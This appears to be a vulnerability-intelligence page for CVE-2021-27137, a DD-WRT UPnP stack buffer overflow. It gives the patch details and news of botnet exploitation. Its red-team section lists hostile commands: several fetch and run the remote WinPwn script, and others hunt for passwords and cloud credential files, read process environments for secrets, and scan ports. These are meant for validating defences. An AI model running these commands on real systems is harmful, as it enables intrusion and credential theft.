CVE-2021-27137
Overview
This vulnerability is a stack-based buffer overflow caused by the use of an unsafe strcpy operation within the UPnP handling code of DD-WRT's ssdp.c component. Specifically, the flaw exists in the ssdp_msearch function which processes M-SEARCH requests. The root cause is the lack of proper boundary checks when copying incoming data into a fixed-size internal buffer, affecting the UPnP feature of the router firmware.
Vulnerability Description
An issue was discovered in router/upnp/src/ssdp.c in DD-WRT before 45724. An unsafe strcpy in the UPnP handling functionality allows an unauthenticated remote attacker to send a request that would overflow an internal fixed buffer. Exploitation requires the DD-WRT user to enable UPnP (which is off by default, and only listens on internal interfaces by default). This occurs in ssdp_msearch (reachable by an M-SEARCH request).
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected device by sending a specially crafted M-SEARCH request to the UPnP service. This requires that UPnP is enabled by the user and accessible on internal network interfaces. Successful exploitation can lead to full system compromise, allowing attackers to control the router, disrupt network services, or pivot to other devices within the network. No user interaction or credentials are required, increasing the risk in environments where UPnP is enabled.
Solution
Users should upgrade DD-WRT firmware to build 45724 or later, as this update includes a fix addressing the unsafe strcpy usage in the UPnP SSDP handling code. Details and the patch can be found in the DD-WRT changeset 45724 at https://svn.dd-wrt.com/changeset/45724. As a workaround, disabling UPnP on the router will mitigate exposure to this vulnerability until the firmware is updated.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dd-Wrt | Dd-Wrt | All |
cpe:2.3:o:dd-wrt:dd-wrt:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Active exploitation confirmed with 23 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (31)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @getpokemon7.bsky.social 2026-08-21 13:47 UTC米サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)は、DD-WRT、Langflow、WordPressの脆弱性を既知の悪用された脆弱性カタログに追加した。 米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA) は、DD-WRT、Langflow、WordPressの脆弱性を既知の悪用された脆弱性(KEV)カタログに追加した。 以下は、KeVカタログに追加された不具合です。 CVE-2021-27137 (CVSSスコア8.1)DD…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-08-20 02:16 UTCCISA Adds Four Known Exploited Vulnerabilities to Catalog Release Date July 21, 2026 CVE-2021-27137 DD-WRT Stack-Based Buffer Overflow Vulnerability CVE-2026-0770 Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerabil…Open source
-
social bsky.app @shortinfo.bsky.social 2026-08-17 08:07 UTCOldest CVEs in this batch: CVE-2021-27137 (DD-WRT).Open source
-
social bsky.app @shortinfo.bsky.social 2026-08-10 08:08 UTCOldest CVEs in this batch: CVE-2008-4128 (Cisco), CVE-2021-27137 (DD-WRT).Open source
-
advisory recordedfuture.com 2026-08-07 07:00 UTCJuly 2026 CVE Landscape - Recorded FutureOpen source
-
social bsky.app @shortinfo.bsky.social 2026-08-03 08:13 UTCOldest CVEs in this batch: CVE-2008-4128 (Cisco), CVE-2021-27137 (DD-WRT).Open source
-
social bsky.app @gev.bsky.social 2026-07-23 08:20 UTC開源路由器韌體DD-WRT已知漏洞出現攻擊行動 www.ithome.com.tw/news/177542Open source
-
news ithome.com.tw 2026-07-22 16:59 UTCCVE-2021-27137Open source
-
social bsky.app @netsecio.bsky.social 2026-07-22 16:49 UTCCISA adds 4 actively exploited vulnerabilities to its KEV catalog: CVE-2021-27137 (DD-WRT), CVE-2026-0770 (Langflow), and CVE-2026-63030 & CVE-2026-60137 (WordPress). Patching is urgent. #CISA #KEV #Vulnerability #PatchNow #WordPress 🌐 cyb…Open source
-
social bsky.app @corq.bsky.social 2026-07-22 12:44 UTCOpen source
-
news thehackernews.com 2026-07-22 07:00 UTCHackers Exploit Windmill Flaw to Read Arbitrary Server Files Without Authentication - The Hacker NewsOpen source
-
social bsky.app @termsofsurrender.bsky.social 2026-07-22 04:53 UTCDD-WRT Bleeds Out While The Bureaucracy Checks The Fax Tray PANIC 82% | Lag 0.0h | DD-WRT is affected by CVE-2021-27137, a stack-based buffer overflow that can allow unauthenticated r #AfterShockIndex READ MOREOpen source
-
social bsky.app @thecybermind.co 2026-07-22 03:55 UTC⚠️ CRITICAL THREAT: CVE-2021-27137 in DD-WRT allows unauthenticated remote code execution via UPnP. With active exploitation verified, edge defense is critical. Get the forensic detection and hardening strategies you need to secure your in…Open source
-
social bsky.app @cyberhub.blog 2026-07-22 02:07 UTC📌 CVE-2021-27137 - An issue was discovered in router/upnp/src/ssdp.c in DD-WRT before 45724. An unsafe strcpy in the UPnP handling functionality allows an unauthenticate... https://www.cyberhub.blog/cves/CVE-2021-27137Open source
-
social bsky.app @happeningnow.news 2026-07-21 16:36 UTCCISA Adds Four Known Exploited Vulnerabilities to Catalog CISA has added four new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog , based on evidence of active exploitation. CVE-2021-27137 DD-WRT Stack-Based Buffer… 🔗…Open source
-
social bsky.app @cisa-feed-onblue.bsky.social 2026-07-21 15:28 UTCLatest post from CISAOpen source
-
social bsky.app @cvesentinel.bsky.social 2026-07-21 14:50 UTC🛑 CVE-2021-27137 DD-WRT DD-WRT CVSS 8.1 / EPSS 5% / KEV: No TL;DR: An issue was discovered in router/upnp/src/ssdp.c in DD-WRT before 45724. An unsafe strcpy in… https://cvesentinel.com/report/CVE-2021-27137?utm_source=bluesky&utm_medium=s…Open source
-
social bsky.app @cve.skyfleet.blue 2026-07-16 19:14 UTCCVE-2021-27137 - DD-WRT UPnP Buffer Overflow CVE ID : CVE-2021-27137 Published : July 16, 2026, 6:16 p.m. | 18 minutes ago Description : An issue was discovered in router/upnp/src/ssdp.c in DD-WRT before 45724. An unsafe strcpy in the UPnP…Open source
-
advisory recordedfuture.com 2026-07-10 07:00 UTCJune 2026 CVE Landscape - Recorded FutureOpen source
-
social bsky.app @hacker.at.thenote.app 2026-06-08 22:41 UTCIoT Botnet C0XMO Adds Competitor-Killing Capability C0XMO is a new Gafgyt botnet variant exploiting old router flaws, spreading across IoT devices, killing rivals, and enabling large-scale DDoS attacks. In March 2026, FortiGuard Labs disco…Open source
-
news thehackernews.com 2026-06-08 07:00 UTC⚡ Weekly Recap: Instagram Account Hacks, Android Zero-Day, GitHub Worm and More - The Hacker NewsOpen source
-
news securityaffairs.com 2026-06-08 07:00 UTCIoT Botnet C0XMO Adds Competitor-Killing Capability - Security AffairsOpen source
-
social bsky.app @ahmandonk.bsky.social 2026-06-08 05:16 UTC📰 Botnet C0XMO Meluas Lewat Celah DD-WRT: Luncurkan Serangan DDoS dan Basmi Malware Pesaing 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/08/botnet-c0xmo-serang-router-dd-wrt-dan-hapus-malware-pesaing/ #botnetC0xmo #cve-202…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-06-07 18:00 UTCC0XMO, a modular Gafgyt botnet, targets DD-WRT routers via CVE-2021-27137, brute-forces weak SSH/Telnet logins, and kills rival malware while spreading across many device architectures. #C0XMO #Gafgyt #DDWRTOpen source
-
social bsky.app @deafnews-auto.bsky.social 2026-06-07 15:05 UTCC0XMO: Gafgyt Variant Targets DD-WRT Routers with Modular Scanner and Competitor-Killing RoutineOpen source
-
news bleepingcomputer.com 2026-06-07 07:00 UTCC0XMO botnet spreads via DD-WRT router flaw, kills rival malware - BleepingComputerOpen source
-
social bsky.app @longtail-news.bsky.social 2026-06-06 08:41 UTCFeed: "Cyber Security News" By: Tushar Subhra Dutta on Friday, June 5, 2026Open source
-
social bsky.app @blackhatnews.tokyo 2026-06-05 10:15 UTCGafgytマルウェアのC0XMO亜種、複数のLinuxアーキテクチャへ攻撃を拡大 GafgytボットネットのC0XMOとして追跡されている新たな亜種が、複数のLinuxアーキテクチャにわたって急速に感染を拡大させています。 今年初めに発見されたこのマルウェアは、特定のDD-WRTルーターのUPnPサービスに存在するスタックバッファオーバーフロー脆弱性CVE-2021-27137を悪用してシステムへOpen source
-
news socprime.com 2026-06-05 07:00 UTCC0XMO Gafgyt Variant Spreads Through DD-WRT Routers - SOC PrimeOpen source
-
social bsky.app @hendryadrian.bsky.social 2026-06-05 03:00 UTCFortiGuard Labs found C0XMO, a modular Gafgyt variant exploiting CVE-2021-27137 on DD-WRT routers, using Python scanning to spread across Linux and IoT devices with persistence and DDoS features. #C0XMO #Gafgyt #DDWRTOpen source
-
social bsky.app @virusbtn.bsky.social 2026-06-04 09:00 UTCVincent Li at FortiGuard Labs analyses C0XMO, a new Gafgyt variant that spreads by exploiting CVE-2021-27137. A key change is the separation of lateral movement into a standalone Python script, helping the botnet target multiple architectu…Open source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-27137 |
| svn.dd-wrt.com |
GitHub CVE
|
https://svn.dd-wrt.com/changeset/45724 |
| ssd-disclosure.com |
GitHub CVE
|
https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/ |
| securityaffairs.com |
GitHub CVE
|
https://securityaffairs.com/193290/uncategorized/iot-botnet-c0xmo-adds-competitor-killing-capability.html |
| bleepingcomputer.com |
GitHub CVE
|
https://www.bleepingcomputer.com/news/security/c0xmo-botnet-spreads-via-dd-wrt-router-flaw-kills-rival-malware/ |
| fortinet.com |
GitHub CVE
|
https://www.fortinet.com/blog/threat-research/inside-cross-platform-propagation-of-new-gafgyt-variant-c0xmo |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-27137 |